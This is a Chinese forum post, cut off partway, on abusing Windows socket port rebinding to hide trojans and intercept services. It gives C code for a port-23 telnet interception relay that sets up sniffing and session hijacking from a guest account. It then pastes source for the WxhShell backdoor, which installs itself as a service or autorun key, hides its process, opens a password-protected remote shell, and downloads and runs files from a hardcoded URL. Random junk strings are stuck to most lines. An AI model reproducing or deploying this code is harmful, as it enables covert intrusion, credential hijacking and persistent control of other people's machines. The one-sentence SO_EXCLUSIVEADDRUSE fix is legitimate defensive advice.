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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OEmz`JJ67  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #ky]@vyO  
l6Wa~E  
  saddr.sin_family = AF_INET; LN}eD\  
Nr)v!z~y   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ][3H6T!ckL  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SQx%CcW9d  
bE:oF9J?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O* `v1>  
_|qJ)gD[  
  这意味着什么?意味着可以进行如下的攻击: \x?q!(;G2  
,5^XjU3c=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;/?M&rX  
2>BWu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )7@f{E#w  
Lt>"R! "x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^]:w5\DG  
LdxrS5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `F5iZWW1  
8sb<$M$c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #G2~#\  
@b[{.m U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mOji\qia  
Im7<\ b@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'F>eieO  
"]h4L  
  #include ` b a}6D  
  #include |@#37  
  #include [r,a0s  
  #include    *y +T(73  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s&:LY"[`  
  int main() L&V;Xvbu%  
  { 70bI}/u  
  WORD wVersionRequested; Pf&\2_H3s9  
  DWORD ret; x_Zi^]  
  WSADATA wsaData; NH&/=  
  BOOL val; 3db ,6R  
  SOCKADDR_IN saddr; Sc03vfmo"N  
  SOCKADDR_IN scaddr; }z{2~ 0,  
  int err; U6^x(2De  
  SOCKET s; /RD@ [ 8  
  SOCKET sc; Fm}#KE0  
  int caddsize; ^Xv_y+  
  HANDLE mt; ?blF6Kl$  
  DWORD tid;   F:nhSd  
  wVersionRequested = MAKEWORD( 2, 2 ); Ibt~e4f  
  err = WSAStartup( wVersionRequested, &wsaData ); c\"t+/Z  
  if ( err != 0 ) { K%AbM#o<  
  printf("error!WSAStartup failed!\n"); zUX%$N+w}>  
  return -1; sq `f?tA?  
  } gB/4ro8  
  saddr.sin_family = AF_INET; hTgWqp  
   PwP;+R};|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wh4ik`S 1  
;UuCSfs{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7<{g+Q~7*  
  saddr.sin_port = htons(23); p!qV!:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ip#BR!$n  
  { \a\-hm  
  printf("error!socket failed!\n"); U9k;)fK  
  return -1; `K -j  
  } AX6z4G  
  val = TRUE; g}>Sc=e <  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 { No*Z'X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x'IVP[xh`A  
  { 8m% +O#  
  printf("error!setsockopt failed!\n"); )I7~ <$w  
  return -1; hBb&-/  
  } \Tf[% Kt x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /5cFa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #oBMA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DUBEh@  
ZH'- >/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?,G CR1|4  
  { h'*>\eC6  
  ret=GetLastError(); c@H_f  
  printf("error!bind failed!\n"); ;',hwo_LBf  
  return -1; 7{<:g!  
  }  mZGAl1`8  
  listen(s,2); 5G5P#<Vv  
  while(1) zTA+s 2  
  { &'%b1CbE  
  caddsize = sizeof(scaddr); ]2O52r  
  //接受连接请求 dkTewT6'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M"cB6{st[  
  if(sc!=INVALID_SOCKET) #4hxbRN  
  { tA#7Xr+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5f5bhBZ<  
  if(mt==NULL) ,/{(8hn  
  { /S4$qr cM  
  printf("Thread Creat Failed!\n"); j1/.3\  
  break; u,h,;'J  
  } Ns?qLSN  
  } L~x PIu  
  CloseHandle(mt);  pkWJb!  
  } l!r2[T]I@7  
  closesocket(s); 5:3%RTLG  
  WSACleanup(); SvR:tyF  
  return 0; 3FWl_d~uD  
  }   sEBZ-qql  
  DWORD WINAPI ClientThread(LPVOID lpParam) /u hA\m(  
  { p)_v.D3i  
  SOCKET ss = (SOCKET)lpParam; l#40VHa?S  
  SOCKET sc; P-B3<~*i!  
  unsigned char buf[4096]; ;F>$\"aG  
  SOCKADDR_IN saddr; %N((p[\H  
  long num; O>8|Lc  
  DWORD val; ~W?F.  
  DWORD ret; o }EipTL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >%qk2h>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -P I$SA,  
  saddr.sin_family = AF_INET; DeqTr:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kR+xInDM*  
  saddr.sin_port = htons(23); CKC%|xke  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ii0{$}eoh  
  { Xx.4K>j+j  
  printf("error!socket failed!\n"); 3O{*~D&n  
  return -1; ?&qa3y)wX:  
  } 1oD1ia#  
  val = 100; &yu3nA:7D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c eH8  
  { UNx|+  
  ret = GetLastError(); .I~#o$6  
  return -1; IZr~h9  
  } [VvTR#^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7d9kr?3(U  
  { jg2 UX   
  ret = GetLastError(); cvoE4&m!  
  return -1; W6N3u7mrb  
  } '. Ww*N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aQ@9(j> F  
  { l/=2P_8+Z  
  printf("error!socket connect failed!\n"); U)v['5%  
  closesocket(sc); WCa>~dF>  
  closesocket(ss); /g|H?F0  
  return -1; $f++n5I  
  } j=r aS  
  while(1) o+9b%I^1V  
  { Yd} Jz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y}db<Cz X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i}fAjS:W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +>zjTP7\e"  
  num = recv(ss,buf,4096,0); 87QK&S\  
  if(num>0) 7'c ;$~  
  send(sc,buf,num,0); _(#HQd,i  
  else if(num==0) <K^{36h  
  break; H C %tJ:G  
  num = recv(sc,buf,4096,0); $0uh8RB  
  if(num>0) RK7vR~kf<  
  send(ss,buf,num,0); wjJM\BKr`  
  else if(num==0) wR7Ja cKv  
  break; GM1z@i\5  
  } }}R?pU_  
  closesocket(ss); -4rXOmiA  
  closesocket(sc); :v=^-&t  
  return 0 ; n*'i{P]  
  } ,F&TSzH[@v  
O)0}yF$0  
@D?KS;#  
========================================================== =r w60B  
E_fH,YJ?9  
下边附上一个代码,,WXhSHELL |E%i t?3M  
x,U '!F  
========================================================== 0 _!')+  
2sezZeMV  
#include "stdafx.h" tHhau.!  
{6_M$"e.  
#include <stdio.h> 8R3x74fL  
#include <string.h> pUGFQ."\  
#include <windows.h> O\3 L x  
#include <winsock2.h> |4$.mb.  
#include <winsvc.h> 8OS@gpz  
#include <urlmon.h> *3uBS2Ld  
SG5GJCkc  
#pragma comment (lib, "Ws2_32.lib") -qI8zs$:5  
#pragma comment (lib, "urlmon.lib") 4AIo,{(  
5%qq#;[ n  
#define MAX_USER   100 // 最大客户端连接数  X.q,  
#define BUF_SOCK   200 // sock buffer TFfV?rBI  
#define KEY_BUFF   255 // 输入 buffer cO8':P5Q  
5Kadh2nz  
#define REBOOT     0   // 重启 & bKl(,  
#define SHUTDOWN   1   // 关机 $;4y2?E  
9<e%('@[  
#define DEF_PORT   5000 // 监听端口 &:>3tFQSH  
W2$MH: j  
#define REG_LEN     16   // 注册表键长度 O c[F  
#define SVC_LEN     80   // NT服务名长度 (6y[,lYH  
uW%(ySbq  
// 从dll定义API li @:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qu  x1N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m1 tYDZ"i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <Ny DrO"C3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); + :IwP  
p\'0m0*   
// wxhshell配置信息 6UAn# d9  
struct WSCFG { 8 vp*U  
  int ws_port;         // 监听端口 |w{}h6 a  
  char ws_passstr[REG_LEN]; // 口令 2bs={p$}a  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3j I rB%  
  char ws_regname[REG_LEN]; // 注册表键名 >3C4S  
  char ws_svcname[REG_LEN]; // 服务名 Q.U wtH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '3p7ee&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jw 4#u5$$Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^vj}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s~z~9#G(6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }&*wJ]j`L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 & t.G4  
5[[mS  
}; ]ZMFK>"^%  
RXi/&'+H  
// default Wxhshell configuration )Ja&Y  
struct WSCFG wscfg={DEF_PORT, eP?=tUB!S  
    "xuhuanlingzhe", ir{li?kV  
    1, 5LF&C0v  
    "Wxhshell", mTj ?W$+r  
    "Wxhshell", H@'f=Y*D  
            "WxhShell Service",  &Hi;>  
    "Wrsky Windows CmdShell Service", %W(/W9B$/F  
    "Please Input Your Password: ", 9hTzi+'S  
  1, f?qp*  
  "http://www.wrsky.com/wxhshell.exe", {^T_m)|n  
  "Wxhshell.exe" j;MQ_?"iN  
    }; 8|"26UwD/  
iwXMe(k  
// 消息定义模块 *el~sor;S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {!L25  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NimW=X;c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G<$ N*3  
char *msg_ws_ext="\n\rExit."; ;4'pucq5/  
char *msg_ws_end="\n\rQuit."; x+;a2yE~  
char *msg_ws_boot="\n\rReboot..."; 7'g{:dzS*3  
char *msg_ws_poff="\n\rShutdown..."; =pCO1<wR  
char *msg_ws_down="\n\rSave to "; Wik8V0(  
W>o>Y$H  
char *msg_ws_err="\n\rErr!"; rRQKW_9mB  
char *msg_ws_ok="\n\rOK!"; O a%ZlEUF  
8Y,imj\(v  
char ExeFile[MAX_PATH]; xU!eT'Y  
int nUser = 0; 0! W$Cz[  
HANDLE handles[MAX_USER]; mm:g9j  
int OsIsNt; ;ztt*py  
(M-W ea!q  
SERVICE_STATUS       serviceStatus; *}P=7TuS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M%z$yU`ac  
qRc Y(mb  
// 函数声明 $<s;YhM:u)  
int Install(void); J Q% D6b  
int Uninstall(void); 7C>5XyyJ  
int DownloadFile(char *sURL, SOCKET wsh); ~-tKMc).X  
int Boot(int flag); lDX\"Fq  
void HideProc(void); =j~vL`d2]  
int GetOsVer(void); s L=}d[  
int Wxhshell(SOCKET wsl); >]}c,4D(  
void TalkWithClient(void *cs); 1PUeU+  
int CmdShell(SOCKET sock); i",7<01  
int StartFromService(void); 8W2oGL6  
int StartWxhshell(LPSTR lpCmdLine); /wX5>^  
0,]m.)ws  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f.G"[p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Js'j}w  
\0fk^  
// 数据结构和表定义 #/0d  
SERVICE_TABLE_ENTRY DispatchTable[] = O>3f*Cc  
{ M-V{(  
{wscfg.ws_svcname, NTServiceMain}, \\)9QP?  
{NULL, NULL} >3?p23|;  
}; UbEK2&q/8  
.Y5o&at6s  
// 自我安装 ]2   
int Install(void) EXEB A&*  
{ 4de:hE   
  char svExeFile[MAX_PATH]; !Z!X]F-fY  
  HKEY key; ?0x=ascP  
  strcpy(svExeFile,ExeFile); -d4|EtN  
H7{I[>:  
// 如果是win9x系统,修改注册表设为自启动 $]<wQH/?_  
if(!OsIsNt) { l{mC|8X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EdTR]}8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B2^*Sr[  
  RegCloseKey(key); ?`/DFI'_G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WyU\,"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %PlA9@:IZ  
  RegCloseKey(key); [T(`+ #f  
  return 0; phi9/tO\u  
    } z'9U.v'M)  
  } +`f3_Xd  
} >/+R~ n  
else { yA]OX"T?*  
s# V>+mU  
// 如果是NT以上系统,安装为系统服务 4ATIF ;G'<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (H6Mi.uZ  
if (schSCManager!=0) A4daIhP (  
{ ECk* H  
  SC_HANDLE schService = CreateService #Dp]S, e  
  ( K"jS,a?s 6  
  schSCManager, J3XrlSc  
  wscfg.ws_svcname, Tn"^`\m  
  wscfg.ws_svcdisp, VZ$^:.I0  
  SERVICE_ALL_ACCESS, |c[= V?AC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )?{jD  
  SERVICE_AUTO_START, -BC`p 8  
  SERVICE_ERROR_NORMAL, N}ZBtkR  
  svExeFile, T h!;zu^t  
  NULL, _P9*78  
  NULL, <!q_C5>XJ  
  NULL, oV'G67W  
  NULL, I+/fX0-Lib  
  NULL :E.T2na  
  ); fb8)jd'~}O  
  if (schService!=0) !;Vqs/E  
  { X?.tj Z,  
  CloseServiceHandle(schService); w/e?K4   
  CloseServiceHandle(schSCManager); 1G8,Eah  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vt(s4  
  strcat(svExeFile,wscfg.ws_svcname); Ip |=NQL>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k_`h (R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U&W/Nj  
  RegCloseKey(key); UaB2vuL*=  
  return 0; j@R"AP}  
    } #~ZaN;u  
  } @a i2A|  
  CloseServiceHandle(schSCManager); 5KTPlqm0qF  
} PsM8J  
} yRR[M@Y  
'fYF1gR4  
return 1; #$;}-*  
} _%u t#  
gh `]OxA  
// 自我卸载 \ #N))gAQ  
int Uninstall(void) V8rS~'{\  
{ "(mF5BE-E  
  HKEY key; ?&=JGk^eJ  
"?^#+@LV  
if(!OsIsNt) { <k 'zz:[c!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4BZ7R,m#.  
  RegDeleteValue(key,wscfg.ws_regname); [r1dgwh8  
  RegCloseKey(key); c8Nl$|B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nw '$r  
  RegDeleteValue(key,wscfg.ws_regname); owx0J,,G  
  RegCloseKey(key); mFmxEv  
  return 0; w:ASB>,!  
  } ZgfhNI\  
} O1 !YHo  
} mD%IHzbn H  
else { W5/|.}  
sB5@6[VDI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gs&F .n  
if (schSCManager!=0) nrR2U`  
{ &crR nv ?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K >Q 6  
  if (schService!=0) m'-QVZ{(M%  
  { qERJEyU?  
  if(DeleteService(schService)!=0) { &W3Hj$>  
  CloseServiceHandle(schService); 49ehj1Se  
  CloseServiceHandle(schSCManager); <cO `jK  
  return 0; cRE6/qrXGg  
  }  kGAB'  
  CloseServiceHandle(schService); -O\f y!  
  } b&6lu4D  
  CloseServiceHandle(schSCManager); ^kke  
} KA>QW[HX  
} &eb8k2S  
<{j;']V;  
return 1; OC)=KV@KE  
} `I8ep=VZ  
vSR5F9  
// 从指定url下载文件 mkq246<D~  
int DownloadFile(char *sURL, SOCKET wsh) mWU d-|Ul  
{ h]vEXWpG]  
  HRESULT hr; J%lrXm(l{  
char seps[]= "/"; ^r,0aNzAs  
char *token; 97/ 4J  
char *file; EQQ@nW{;  
char myURL[MAX_PATH]; xd\ml 37~  
char myFILE[MAX_PATH]; RXw1HRR$V  
1bjz :^  
strcpy(myURL,sURL); CF:L#r  
  token=strtok(myURL,seps); S f6%A  
  while(token!=NULL) z<%dWz  
  { "ruYMSpU  
    file=token; 3 2"f'{  
  token=strtok(NULL,seps); T[<554  
  } raZkH8  
_5S||TuNS  
GetCurrentDirectory(MAX_PATH,myFILE); [930=rF*  
strcat(myFILE, "\\"); wYLodMaYH  
strcat(myFILE, file); l[u17,]S  
  send(wsh,myFILE,strlen(myFILE),0); {y B0JL}n  
send(wsh,"...",3,0); ]L2b|a3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !MVf(y$  
  if(hr==S_OK) x.$cP  
return 0; ttls.~DG  
else wp83E,  
return 1; Bw~jqDZ}|  
L9oLdWa(C  
} 6&QOC9JW+7  
x4h.WDT$  
// 系统电源模块 Gqj(2.AY  
int Boot(int flag) ^j@+!A_.Q  
{ 'u%vpvF  
  HANDLE hToken; vz)R84   
  TOKEN_PRIVILEGES tkp; {Us^ 4Xe  
B@S~v+Gr  
  if(OsIsNt) { |bhv7(_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *>2e4j]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BHiG3fP  
    tkp.PrivilegeCount = 1; m WHyk"l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !p76I=H%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2%pU'D:  
if(flag==REBOOT) { _BONN6=*y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |UB)q5I  
  return 0; ;kWWzg  
} {{B'65Wu  
else { X,Rl&K\b"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4>HaKJ-c#  
  return 0; 5<e{)$C  
}  U ^nv)  
  } /r2S1"(q  
  else {  ZpMv16  
if(flag==REBOOT) { @eutp`xoT\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >?_}NZ,y  
  return 0; y^[t3XA6Q  
} 9_4(}|"N|  
else { :pNS$g[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .R#-u/6g(  
  return 0; U#bmMH  
} Ya> AI.!K  
} R NQq"c\  
:I2,  
return 1;  F=a  
} OjNOvh&N  
~d3@x\I?  
// win9x进程隐藏模块 eo@8?>}{X  
void HideProc(void) >ts}\.(]  
{ R]o0V*n  
d`C$vj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NFP h}D  
  if ( hKernel != NULL ) R*D5n>~  
  { gK(G1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U|{4=[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1B:5O*I!J  
    FreeLibrary(hKernel); :R3iLy  
  } *B \ @L  
6!?] (  
return; Ekik_!aB  
} FFcIOn  
+'+ Nr<  
// 获取操作系统版本 X y`2ux+>/  
int GetOsVer(void) Z:Vde^Ih  
{ iz)r.TJ  
  OSVERSIONINFO winfo; I3b*sx$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uMpuS1  
  GetVersionEx(&winfo); +IWf~|s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K :kb&W  
  return 1; p_%,JD  
  else SAj#+_db  
  return 0; 6k![v@2R  
} xB[W8gQ6fa  
GmE`YW  
// 客户端句柄模块 H "5,To  
int Wxhshell(SOCKET wsl) o3eaNYa  
{ )MLbE-@  
  SOCKET wsh; ZHUW1:qs  
  struct sockaddr_in client; /R?[/`)f&  
  DWORD myID; `rK@> -  
BTYYp1  
  while(nUser<MAX_USER) hOkn@F.  
{ ,grx'to(X  
  int nSize=sizeof(client); ^^*L;b>I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i(.V`G=  
  if(wsh==INVALID_SOCKET) return 1; b:r8r}49  
e@;'#t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xf8[&?  
if(handles[nUser]==0) $E[M[1j  
  closesocket(wsh); AWPgrv/  
else S8+l!$7   
  nUser++; ya5HAs  
  } Iz83T9I&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aMxj{*v7  
$tXW/  
  return 0; N$v_z>6Z  
} _L` uC jA  
u^B!6Sj8  
// 关闭 socket Y0-?"R8  
void CloseIt(SOCKET wsh) +?ZP3vgGA  
{ B0A y  
closesocket(wsh); Mw"[2PA  
nUser--; x7G)^  
ExitThread(0); 7=yjd)Iy9m  
} w ^^l,  
nd,\<}uP9  
// 客户端请求句柄 Y<kz+d,C  
void TalkWithClient(void *cs) W(Md0*   
{ K'e,9P{  
tZm`(2S  
  SOCKET wsh=(SOCKET)cs; +5I'? _{V  
  char pwd[SVC_LEN]; 6v]`s  
  char cmd[KEY_BUFF]; dZ8ldpf8  
char chr[1]; I Z*)  
int i,j; (v KJyk+Y  
 - US>].  
  while (nUser < MAX_USER) { H3vnc\d~  
2xiE#l-V2  
if(wscfg.ws_passstr) { B2*>7 kc_s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n @R/zy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =qoOr~  
  //ZeroMemory(pwd,KEY_BUFF); #8 ^b]  
      i=0; 7HY8 F5Brx  
  while(i<SVC_LEN) { w|6?A-  
|'JN<?   
  // 设置超时 b/JjA  
  fd_set FdRead; e6H}L:;  
  struct timeval TimeOut; 4p+Veo6B  
  FD_ZERO(&FdRead); vJct)i  
  FD_SET(wsh,&FdRead); v@ qDR|?^  
  TimeOut.tv_sec=8; 1zG6^U  
  TimeOut.tv_usec=0; ?(Tin80=r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =./PY10'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :f%kk atO  
2~7*jA+Ab  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (CH6Q]Wi_!  
  pwd=chr[0]; ePl+ M  
  if(chr[0]==0xd || chr[0]==0xa) { [\ Sd*-  
  pwd=0; e-UWbn'~  
  break;   )*6  
  } 1JdMw$H  
  i++; ~Ym*QSD  
    } 2 M\7j  
n@h$V\&\iM  
  // 如果是非法用户,关闭 socket `F1Yfm jZT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4+nZ4a>LH?  
} |+JO]J#bc  
@jjxgd'%&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 92R,o'#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F7w\ctUP  
6(t'B!x  
while(1) { wu11)HFL|z  
uOKD#   
  ZeroMemory(cmd,KEY_BUFF); bG*l_  
?/5<}W#7}  
      // 自动支持客户端 telnet标准   xluA jOQ6  
  j=0; hVT>HER  
  while(j<KEY_BUFF) { $FIJI^Kd7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \I/"W#\SJo  
  cmd[j]=chr[0]; =jpRv<X|,  
  if(chr[0]==0xa || chr[0]==0xd) { 0)\(y   
  cmd[j]=0; ;{&4jcV*  
  break; Y*A y=@z=y  
  } ",[/pb  
  j++; g`C"t3~%S  
    } =B'Yx  
$G}k'[4C  
  // 下载文件 z#|Auc0  
  if(strstr(cmd,"http://")) {  lX/7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hCc%d$wVk  
  if(DownloadFile(cmd,wsh)) x*tCm8`{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .YH#+T'  
  else {|j-e{*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $AvaOI.l  
  } K.&6c,P]  
  else { 6Fk[wH 7  
BT;1"l<  
    switch(cmd[0]) { '4 3U v  
  <nV3`L&]  
  // 帮助 mr_NArF  
  case '?': { "Wk K1u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8'fF{C  
    break; RtxAIMzh?  
  } 3m21n7F4*  
  // 安装 /:BC<]s  
  case 'i': { Uvi@HB HJ  
    if(Install()) -`Zk`s|!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Q_<eo%lI*  
    else X MF? y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N!v>2"x8q  
    break; [AD%8 H  
    } #a9R3-aP  
  // 卸载 yDe*-N\'W  
  case 'r': { L"?4}U:  
    if(Uninstall()) L8zMzm=-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x 2l}$(7  
    else N>P" $  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Jp?@qt=$  
    break; $(OL#>9Ly  
    } G%i&C)jZ  
  // 显示 wxhshell 所在路径 ~"wnlG-:  
  case 'p': { [{T/2IGq  
    char svExeFile[MAX_PATH]; @8:c3 (!  
    strcpy(svExeFile,"\n\r"); =KnHa.%  
      strcat(svExeFile,ExeFile);  s-&i!d  
        send(wsh,svExeFile,strlen(svExeFile),0); UN^M.lqZX  
    break; _x`:Ne?  
    } -%[6q  
  // 重启 U}=H1f,  
  case 'b': { M3GFKWQI,`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6OQ\f,h@  
    if(Boot(REBOOT)) <3=k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JE$ $6X  
    else { LA6Ik_-F  
    closesocket(wsh); rXe+#`m2  
    ExitThread(0); chE}`I?  
    } P;&U3i  
    break; NX]6RZr-  
    } (15.?9  
  // 关机 NB(  GE  
  case 'd': { '$ G%HUn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jt9@aN.mJN  
    if(Boot(SHUTDOWN)) OQyZ'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3A\Hiy!{F  
    else { Lr"`OzDz  
